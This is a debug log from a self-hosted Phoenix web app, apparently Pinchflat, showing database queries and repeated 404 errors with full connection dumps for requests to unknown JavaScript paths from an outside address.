(((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 14:22:14.155 [debug] QUERY OK source="sources" db=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 14:22:14.156 [info] Sent 200 in 7ms 14:22:19.542 [info] GET /static/style/sys_files/index.js 14:22:19.543 [debug] QUERY OK source="settings" db=0.3ms idle=1802.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:19.543 [debug] QUERY OK source="settings" db=0.1ms idle=1803.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:19.543 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:22:19.544 [error] #PID<0.4184.0> running PinchflatWeb.Endpoint (connection #PID<0.4181.0>, stream id 3) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /static/style/sys_files/index.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/style/sys_files/index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4181.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/sys_files/index.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41370}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4184.0>, params: %{}, path_info: ["static", "style", "sys_files", "index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "157.143.3.35"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/static/style/sys_files/index.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVM3QjgQGuotK4AAYOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4181.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/sys_files/index.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41370}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/style/sys_files/index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4181.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/sys_files/index.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41370}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4184.0>, params: %{}, path_info: ["static", "style", "sys_files", "index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session. (truncated) 14:22:20.219 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:21.834 [info] GET /js/lkk_ch.js 14:22:21.835 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1094.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:21.836 [debug] QUERY OK source="settings" db=0.2ms idle=100.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:21.836 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:22:21.836 [error] #PID<0.4185.0> running PinchflatWeb.Endpoint (connection #PID<0.4181.0>, stream id 4) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /js/lkk_ch.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/lkk_ch (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4181.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/lkk_ch.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41370}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4185.0>, params: %{}, path_info: ["js", "lkk_ch"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "157.143.3.35"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/js/lkk_ch.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVM3ZF2R-nXuVsAAYPB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4181.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/lkk_ch.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41370}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/lkk_ch (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4181.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/lkk_ch.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41370}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4185.0>, params: %{}, path_info: ["js", "lkk_ch"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_ (truncated) 14:22:24.136 [info] GET /js/twint_ch.js 14:22:24.137 [debug] QUERY OK source="settings" db=0.2ms idle=398.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:24.137 [debug] QUERY OK source="settings" db=0.1ms idle=397.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:24.137 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:22:24.138 [error] #PID<0.4187.0> running PinchflatWeb.Endpoint (connection #PID<0.4181.0>, stream id 6) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /js/twint_ch.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/twint_ch (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4181.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/twint_ch.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41370}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4187.0>, params: %{}, path_info: ["js", "twint_ch"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "157.143.3.35"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/js/twint_ch.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVM3hqxnG4gq0wAAYQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4181.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/twint_ch.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41370}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/twint_ch (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4181.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/twint_ch.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41370}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4187.0>, params: %{}, path_info: ["js", "twint_ch"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, (truncated) 14:22:24.286 [info] GET /static/style/protect/index.js 14:22:24.287 [debug] QUERY OK source="settings" db=0.3ms idle=546.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:24.287 [debug] QUERY OK source="settings" db=0.2ms idle=547.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:24.287 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:22:24.287 [error] #PID<0.4188.0> running PinchflatWeb.Endpoint (connection #PID<0.4181.0>, stream id 7) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /static/style/protect/index.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/style/protect/index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4181.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/protect/index.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41370}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4188.0>, params: %{}, path_info: ["static", "style", "protect", "index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "157.143.3.35"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/static/style/protect/index.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVM3iOeJkdEIVEAAYRB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: 